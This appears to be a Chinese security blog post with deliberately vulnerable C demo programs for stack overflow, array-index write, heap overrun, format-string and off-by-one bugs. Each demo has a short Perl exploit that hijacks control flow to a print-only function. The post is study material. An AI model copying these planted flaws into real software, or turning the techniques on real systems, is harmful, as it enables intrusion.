缓冲区溢出和格式化字符串漏洞代码分享

0x00 基础漏洞代码的熟悉

通过分析%ge漏洞代码,熟悉基础的漏洞类型。

Demo1 Classic Buffer Overrun Example.

#include <stdio.h>
#include <string.h>
void foo( const char* input )
{
	char buf[10];


	/* What? No extra arguments supplied to printf? */


	/* It's a cheap trick to view the stack ? */


	/* We'll see this trick again when we look at format strings. */


	printf( "My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n" );


	/* Pass the user input straight to secure code public enemy #1. */


	strcpy( buf, input );//这里可以是溢出


	printf( "%s\n", buf );//这里可以是格式化字符串漏洞


	printf( "Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n" );
}


void bar( void )


{
	printf( "Augh! I've been hacked! give you the flag \n" );
}


int main( int argc, char* argv[] )


{
	/* Blatant cheating to make life easier on myself */


	printf( "Address of foo = %p\n", foo );


	printf( "Address of bar = %p\n", bar );


	if ( argc != 2 )


	{
		printf( "Please supply a string as an argument!\n" );


		return(-1);
	}


	foo( argv[1] );


	return(0);
}

输入特定的值使改程序执行bar函数里的代码。关键是如何找到foo函数的返回地址。一般用ABCDEFG等去覆盖 看报错信息定位地址。

给出的write_up:

The perl script: (put it in a file BufferOverrun.pl)


$arg = "ABCDEFGHIJKLMNOP"."\x60\x10\x40";
$cmd = "StackOverrun ".$arg;
system($cmd);

Demo2 Array Indexing.

#include <stdio.h>


#include <stdlib.h>


int* IntVector;


void bar( void )


{
	printf( "Augh! I've been hacked!\n" );
}


void InsertInt( unsigned long index, unsigned long value )


{
	/* We're so sure that no one would ever pass in */


	/* a value more than 64 KB that we're not even going to */


	/* declare the function as taking unsigned shorts */


	/* or check for an index out of bounds – doh! */


	printf( "Writing memory at %p\n", &(IntVector[index]) );


	IntVector[index] = value;
}


bool InitVector( int size )


{
	IntVector = (int *) malloc( sizeof(int) * size );


	printf( "Address of IntVector is %p\n", IntVector );


	if ( IntVector == NULL )


		return(false);


	else


		return(true);
}


int main( int argc, char* argv[] )


{
	unsigned long index, value;


	if ( argc != 3 )


	{
		printf( "Usage is %s [index] [value]\n" );


		return(-1);
	}


	printf( "Address of bar is %p\n", bar );


	/* Let's initialize our vector – 64 KB ought to be enough for */


	/* anyone <g>. */


	if ( !InitVector( 0xffff ) )


	{
		printf( "Cannot initialize vector!\n" );


		return(-1);
	}


	index = atol( argv[1] );


	value = atol( argv[2] );


	InsertInt( index, value );


	return(0);
}

我们有个地址写漏洞,关键是如何找到bar函数在index中的偏移?如果开启了地址随机化,需要重写exp

The index calculation:
value = address of bar in decimal


index         –     value
1072693166      4198405


idex = (0x10012ff20 – base Of Array ) / 4

Demo3 Heap Overrun: pointers manipulation

/*
 *
 *
 * HeapOverrun.cpp
 *
 *
 */


#include <stdio.h>


#include <stdlib.h>


#include <string.h>


/*
 *
 *
 * Very flawed class to demonstrate a problem
 *
 *
 */


class BadStringBuf


{
public:


	BadStringBuf( void )


	{
		m_buf = NULL;
	}


	~BadStringBuf( void )


	{
		if ( m_buf != NULL )


			free( m_buf );
	}


	void Init( char* buf )


	{
		/* Really bad code */


		m_buf = buf;
	}


	void SetString( const char* input )


	{
		/* This is stupid. */


		strcpy( m_buf, input );
	}


	const char* GetString( void )


	{
		return(m_buf);
	}


private:


	char* m_buf;
};


/* Declare a pointer to the BadStringBuf class to hold our  input. */


BadStringBuf* g_pInput = NULL;


void bar( void )


{
	printf( "Augh! I've been hacked!\n" );
}


void BadFunc( const char* input1, const char* input2 )


{
	/* Someone told me that heap overruns weren't exploitable, */


	/* so we'll allocate our buffer on the heap. */


	char* buf = NULL;


	char* buf2;


	buf2 = (char *) malloc( 16 );


	g_pInput = new BadStringBuf;


	buf = (char *) malloc( 16 );


	/* Bad programmer – no error checking on allocations */


	g_pInput->Init( buf2 );


	/* The worst that can happen is we'll crash, right??? */


	strcpy( buf, input1 );


	g_pInput->SetString( input2 );


	printf( "input 1 = %s\ninput2 = %s\n", buf, g_pInput->GetString() );


	if ( buf != NULL )


		free( buf );
}


int main( int argc, char* argv[] )


{
	/* Simulated argv strings */


	char arg1[128];


	/* This is the address of the bar function. */


	/* It looks backwards because Intel processors are little  endian. */


	char arg2[4] = { 0x0f, 0x10, 0x40, 0 };


	int offset = 0x40;


	/* Using 0xfd is an evil trick to overcome heap corruption  checking. */


	/* The 0xfd value at the end of the buffer checks for corr uption. */


	/* No error checking here –  it is just an example of how to */


	/* construct an overflow string. */


	memset( arg1, 0xfd, offset );


	arg1[offset] = (char) 0x94;


	arg1[offset + 1] = (char) 0xfe;


	arg1[offset + 2] = (char) 0x12;


	arg1[offset + 3] = 0;


	arg1[offset + 4] = 0;


	printf( "Address of bar is %p\n", bar );


	BadFunc( arg1, arg2 );


	if ( g_pInput != NULL )


		delete g_pInput;


	return(0);
}

We find where a pointer is located

The value in that memory is the address of a certain buffer

We change this value (By overrunning it) so this pointer will point to a location of the point in the stack where the return address for the bad function is kept

We will pass this pointer as a parameter when a function pointer is needed.

The code is waiting for a function pointer, so it will take our malicious value and put it in the PC.

Game Over.

Demo4 Printf Format string:

There is no way for printf to determine how many arguments were passed in.

The “%n” specifier, will write to a variable (address) the number of characters actually formatted by printf’ing a format string.

Using the power of the “%n” format specifier the attacker can write an arbitrary value to a memory location of their choosing
because if we do not supply it printf will take the address to write on, from the top of the stack!!!

We will attempt to overwrite a saved return address on the stack with a return address of our choosing for example 0x0012FF40

printf %.622496x%.622496x%n
Would cause 1244992 bytes to be formatted by the printf statement.

This number in hex is our address 0x0012FF40 and it would be written on the address written in the top of the stack (as no variable was supplied)

We need to write on the top of the stack the address of the return address which we want to override and then perform the above printf.

With address on the top of the stack and printf %.???x%n?? you can write any value you want to any address you wish.

#include <stdio.h>


#include <stdlib.h>


#include <errno.h>


typedef void (*ErrFunc)( unsigned long );


void GhastlyError( unsigned long err )


{
	printf( "Unrecoverable error! – err = %d\n", err );


	/* This is, in general, a bad practice. */


	/* Exits buried deep in the X Window libraries once cost */


	/* me over a week of debugging effort. */


	/* All application exits should occur in main, ideally in one place. */


	exit( -1 );
}


void RecoverableError( unsigned long err )


{
	printf( "Something went wrong, but you can fix it – err = %d\n", err );
}


void PrintMessage( char* file, unsigned long err )


{
	ErrFunc fErrFunc;


	char buf[512];


	if ( err == 5 )


	{
		/* access denied */


		fErrFunc = GhastlyError;
	}else  {
		fErrFunc = RecoverableError;
	}


	_snprintf( buf, sizeof(buf) - 1, "Cannot find %s", file );


	/* just to show you what is in the buffer */


	printf( "%s", buf );


	/* just in case your compiler changes things on you */


	printf( "\nAddress of fErrFunc is %p\n", &fErrFunc );


	printf( "\nAddress of GhastlyError is %p\n", &GhastlyError );


	printf( "\nAddress of RecoverableError is %p\n\n\n", &RecoverableError );


	/* Here's where the damage is done! */


	/* Don't do this in your code. */


	fprintf( stdout, buf );


	printf( "\nCalling ErrFunc %p\n", fErrFunc );


	fErrFunc( err );
}


void foo( void )


{
	printf( "Augh! We've been hacked!\n" );
}


int main( int argc, char* argv[] )


{
	FILE* pFile;


	/* a little cheating to make the example easy */


	printf( "Address of foo is %p\n", foo );


	/* this will only open existing files */


	pFile = fopen( argv[1], "r" );


	if ( pFile == NULL )


	{
		PrintMessage( argv[1], errno );
	}else  {
		printf( "Opened %s\n", argv[1] );


		fclose( pFile );
	}


	return(0);
}



write_up:

# Comment out each $arg string, and uncomment the next to follow along
# This is the first cut at an exploit string
# The last %p will show up pointing at 0x67666500
# Translate this due to little-endian architecture, and we get 0x00656667


 $arg = "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%p"."ABC";


# Now comment out the above $arg, and use this one


#  $arg = 
"……%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%p"."ABC";


# Now we're actually going to start writing memory – let's overwrite the ErrFunc pointer
#  $arg =
"…..%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%hn"."\x1c\xff\x12";


# Finally, uncomment this one to see the exploit really work


$ #arg =
"%.4066x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%hn"."\x1c\xff\x12";


$cmd = "formatstring ".$arg;


system($cmd);

Demo5 OffbyOne

The Error: We write “one char to much”, to a buffer : Buffer[sizeof(Buffer)]

The EBP will be overriden.
The EBP holds the SP before we enter to the function
When the function returns EBP -> SP
EBP LSB was overwritten which means we moved SP in a window of 256 bytes.
If we can write there another return address we Hijack the Server Game Over!!!

But…

To override the EBP the size of the buffer must divide by 4.

We need to control the area that the EBP points to.
If the EBP last byte was F0 and our buffer is less than 240byts we would not be able to directly write the value that eventually will be written to SP.

#include <stdio.h>


#include <string.h>


void foo( const char* in )


{
	char buf[128];


	strncpy( buf, in, sizeof(buf) );


	buf[sizeof(buf)] = '\0'; /* oops – off by one! */


	printf( "%s\n", buf );
}


void bar( const char* in )


{
	printf( "Augh! I've been hacked!\n" );
}


int main( int argc, char* argv[] )


{
	if ( argc != 2 )


	{
		printf( "Usage is %s [string]\n", argv[0] );


		return(-1);
	}


	printf( "Address of foo is %p, address of bar is %p\n", foo, bar );


	foo( argv[1] );


	return(0);
}



write_up

Now write a perl script:


$arg = "AAAAAAAAAAAA"."\x30\x10\x40";
$cmd = "OffByOne ".$arg;
system($cmd);


Run the perl script:


Perl temp.pl
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值